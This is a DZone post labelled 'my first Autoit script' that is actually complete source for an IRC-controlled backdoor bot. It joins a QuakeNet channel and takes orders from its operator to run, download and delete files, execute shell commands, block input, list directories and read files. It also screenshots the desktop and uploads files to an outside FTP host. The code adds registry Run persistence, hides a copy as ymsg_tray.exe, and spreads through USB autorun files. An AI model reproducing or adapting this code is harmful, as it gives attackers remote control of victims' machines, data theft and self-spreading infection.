my first Autoit script
Join the DZone community and get the full member experience.
Join For Free#AutoIt3Wrapper_Run_Obfuscator = y
#Obfuscator_Ignore_Variables =
#Obfuscator_Ignore_Funcs =
#Obfuscator_On
#NoTrayIcon
#include
#include
#include
#include
#include
#include
#Include
#include
#include
#include
Global $sock, $version = 0.22
Global $server = "irc.quakenet.org"
Global $port = 6667
Global $nick = "PC" & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1)
Global $channel = "#rock0em"
;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot")
TCPStartup()
$sock = _IRCConnect($server, $port, $nick)
While 1
;attach()
;find_usb()
$recv = TCPRecv($sock, 8192)
;---------------------------------------------------------------------------------------
If @error Then
$sock = _IRCConnect($server, $port, $nick)
Else
ConsoleWrite($recv)
EndIf
;---------------------------------------------------------------------------------------
If $recv Then
$sData = StringSplit($recv, @CRLF)
For $i = 1 To $sData[0] Step 1
$sTemp = StringSplit($sData[$i], " ")
If $sTemp[1] = "" Then ContinueLoop
If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2])
If $sTemp[0] <= 2 Then ContinueLoop
;---------------------------------------------------------------------------------------
If StringLeft($sData[$i], 1) = ":" Then
$sData[$i] = StringTrimLeft($sData[$i], 1)
If $sTemp[0] >= 5 And $sTemp[3] = $nick And $sTemp[5] = $channel And StringRegExp($sData[$i], "(?i)" & StringReplace($nick, "|", "\|") & " [@%&~=] " & $channel & " :") Then
$sNameList = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":"))
$members = StringSplit($sNameList, " ")
EndIf
If $sTemp[3] = $nick And $sTemp[4] = ":End" And $sTemp[6] = "/MOTD" Then
_IRCJoinChannel($sock, $channel)
EndIf
If $sTemp[0] >= 9 And $sTemp[4] = $nick And $sTemp[5] = ":Nickname" Then
$nick &= "1"
_IRCSendMessage($sock, "NICK " & $nick)
EndIf
If $sTemp[0] >= 3 And $sTemp[2] = "PRIVMSG" And $sTemp[3] = $channel Then
$text = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":"))
$snick = StringLeft($sData[$i], StringInStr($sData[$i], "!") - 1)
If StringLeft($text, 1) = Chr(1) Then ; /me message
$text = StringTrimLeft($text, 8)
Else
$result = StringInStr($snick, "postmodernism")
If $result = 1 Then
If StringInStr($text, "checkinfo@", 2) Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
$ip = _GetIP()
_IRCSendMessage($sock, "Computer Name: "&@ComputerName&" - OS: "&@OSVersion&"/"&@OSServicePack&" - User: "&@UserName&" - IP: "&$ip, $channel)
EndIf
EndIf
ElseIf StringInStr($text, "delete@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 2 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
FileDelete($command[3])
_IRCSendMessage($sock,$command[2] & "--->deleted" , $channel)
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "run@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 2 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
Run($command[3])
_IRCSendMessage($sock,$command[2] & "--->running" , $channel)
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "download@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 3 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
InetGet($command[3],$command[4])
_IRCSendMessage($sock,$command[2] & "--->downloaded" , $channel)
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "rundos@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 2 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
_RunDOS($command[3])
_IRCSendMessage($sock,$command[2] & "--->executed" , $channel)
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "msgbox@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 2 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
MsgBox(0,"",$command[3])
_IRCSendMessage($sock,$command[2] & "--->leave msg" , $channel)
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "processclose@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 2 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
ProcessClose($command[3])
_IRCSendMessage($sock,$command[2] & "--->closed" , $channel)
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "copy@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 3 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
If ($command[3] <> "") And ($command[4] <> "") Then
FileCopy($command[3],$command[4])
_IRCSendMessage($sock,$command[2] & "--->completed" , $channel)
EndIf
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "mousetrap@", 2) Then
$command = StringSplit($text, "@")
If ($command[2] <> "") And ($command[2] = $nick) Then
_MouseTrap(0,0,0,0)
_IRCSendMessage($sock,$command[2] & "--->mousetrap" , $channel)
EndIf
ElseIf StringInStr($text, "stoptrap@", 2) Then
$command = StringSplit($text, "@")
If ($command[2] <> "") And ($command[2] = $nick) Then
MouseClick ("Left",0,500,400)
_IRCSendMessage($sock,$command[2] & "--->stoptrap" , $channel)
EndIf
ElseIf StringInStr($text, "blockinput(1)@", 2) Then
$command = StringSplit($text, "@")
If ($command[2] <> "") And ($command[2] = $nick) Then
BlockInput(1)
_IRCSendMessage($sock,$command[2] & "--->blockinput" , $channel)
EndIf
ElseIf StringInStr($text, "blockinput(0)@", 2) Then
$command = StringSplit($text, "@")
If ($command[2] <> "") And ($command[2] = $nick) Then
BlockInput(0)
_IRCSendMessage($sock,$command[2] & "--->stopblock" , $channel)
EndIf
ElseIf StringInStr($text, "snapshot@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 5 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If ($command[2] = $nick) Then
_ScreenCapture_Capture($command[5])
$Open = _FTPOpen("MyFTP Control")
$Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4])
$Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6])
$Ftpc = _FTPClose($Open)
_IRCSendMessage($sock,"--->uploaded", $channel)
FileDelete($command[5])
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "sound@", 2) Then
$command = StringSplit($text, "@")
If ($command[2] <> "") And ($command[2] = $nick) Then
SoundPlay($command[3])
_IRCSendMessage($sock,$command[2] & "--->played", $channel)
EndIf
ElseIf StringInStr($text, "filelist@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 4 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If ($command[2] = $nick) And ($command[3] <> "") Then
$avCommon = _FileListToArray($command[3])
$sFile = $command[3] & "\list.txt"
_FileWriteFromArray($sFile, $avCommon, 1)
For $i = $command[4] to $command[5]
$read = FileReadLine($command[3] &"\list.txt",$i)
If $read <> "" Then
_IRCSendMessage($sock,$read, $channel)
Sleep(1500)
EndIf
Next
FileDelete($command[3] & "\list.txt")
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "readline@", 2) Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
$read = FileReadLine ($command[2],$command[3])
_IRCSendMessage($sock,$read, $channel)
EndIf
ElseIf StringInStr($text, "tringlen@", 2) Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
$read = FileReadLine ($command[2],$command[3])
$len = StringLen($read)
_IRCSendMessage($sock,$command[2] & "-->line " & $command[3] &" : "&$len & " characters", $channel)
EndIf
ElseIf StringInStr($text, "tringmid@", 2) Then
$command = StringSplit($text, "@")
If $command[2] <> "" And $command[3] <> "" And $command[4] <> "" And $command[5] <> "" Then
$read = FileReadLine ($command[2],$command[3])
$var = StringMid($read, $command[4], $command[5])
_IRCSendMessage($sock,$var & "--->chars from position" & $command[4], $channel)
EndIf
ElseIf StringInStr($text, "numberofprocess@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 1 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
$list = ProcessList()
$read = $list[0][0]
_IRCSendMessage($sock,$read & " processes are running", $channel)
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "processlist@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 3 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
If ($command[3] <> "") And ($command[4] <> "") Then
$list = ProcessList()
FileOpen("C:\123.txt")
for $i = $command[3] to $command[4]
FileWrite("C:\123.txt",$list[$i][0] & "/")
next
$read = FileRead("C:\123.txt")
_IRCSendMessage($sock, $read , $channel)
FileDelete("C:\123.txt")
EndIf
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "cdtray@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 2 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
$drive = DriveGetDrive("CDROM")
If Not @error Then
CDTray($drive, "open")
_IRCSendMessage($sock,"--->open" & $drive[$i] , $channel)
EndIf
EndIf
EndIf
EndIf
ElseIf StringInStr($text, "upload@", 2) Then
$t = StringReplace($text, "@", "-")
$numreplacements = @extended
If $numreplacements = 5 Then
$command = StringSplit($text, "@")
If $command[2] <> "" Then
If $command[2] = $nick Then
$Open = _FTPOpen("MyFTP Control")
$Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4])
$Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6])
$Ftpc = _FTPClose($Open)
_IRCSendMessage($sock,"--->uploaded", $channel)
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
Next
EndIf
WEnd
Func _IRCQuit($irc, $msg = "")
If $irc = -1 Then Return 0
TCPSend($irc, "QUIT :" & $msg & @CRLF)
Sleep(100)
Return 1
EndFunc ;==>_IRCQuit
Func _IRCLeaveChannel($irc, $msg = "", $chan = "")
If $irc = -1 Then Return 0
TCPSend($irc, "PART " & $chan & " :" & $msg & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>_IRCLeaveChannel
Func _IRCPing($irc, $ret)
If $ret = "" Then Return -1
TCPSend($irc, "PONG " & $ret & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>_IRCPing
Func _IRCChangeMode($irc, $mode, $chan = "")
If $irc = -1 Then Return 0
If $chan = "" Then
TCPSend($irc, "MODE " & $mode & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndIf
TCPSend($irc, "MODE " & $chan & " " & $mode & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>_IRCChangeMode
Func _IRCSendMessage($irc, $msg, $chan = "")
If $irc = -1 Then Return 0
If $chan = "" Then
TCPSend($irc, $msg & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndIf
TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>_IRCSendMessage
Func _IRCJoinChannel($irc, $chan)
If $irc = -1 Then Return 0
TCPSend($irc, "JOIN " & $chan & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>_IRCJoinChannel
Func _IRCConnect($server, $port, $nick)
Local $i = TCPConnect(TCPNameToIP($server), $port)
If $i = -1 Then
Sleep(10000)
Local $i = TCPConnect(TCPNameToIP($server), $port)
EndIf
TCPSend($i, "NICK " & $nick & @CRLF)
TCPSend($i, "USER " & $nick & " 0 0 " & $nick & @CRLF)
Return $i
EndFunc ;==>_IRCConnect
Func attach()
If Not FileExists ("C:\Windows\ymsg_tray.exe") then
FileCopy(@ScriptFullPath,"C:\Windows\ymsg_tray.exe", 1)
FileSetAttrib("C:\Windows\ymsg_tray.exe", "+SHR")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot")
EndIf
EndFunc
Func protect()
EndFunc
Func find_usb()
$1 = DriveGetDrive( "REMOVABLE" )
If Not @error Then
For $i = 1 to $1[0]
$fp2 = FileOpen($1[$i] & "\Autorun.inf",2)
FileClose($fp2)
If $fp2 <> "open=ymsg_tray.exe" Then
If $1[$i] <> "A:" Then
FileCopy(@ScriptFullPath, $1[$i] & "\ymsg_tray.exe", 1)
Dim $autorun = "[autorun]" & @CRLF & "open=ymsg_tray.exe"
filewrite($1[$i] & "\Autorun.inf","[autorun]" & @CRLF & "open=ymsg_tray.exe")
filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open=open")
filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Command=ymsg_tray.exe")
filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Default=1")
filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore=explore")
filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore\Command=ymsg_tray.exe")
FileSetAttrib($1[$i] & "\Autorun.inf", "+SHR")
FileSetAttrib($1[$i] & "\ymsg_tray.exe", "+SHR")
EndIf
EndIf
Next
EndIf
EndFunc
#Obfuscator_Off
Opinions expressed by DZone contributors are their own.
Comments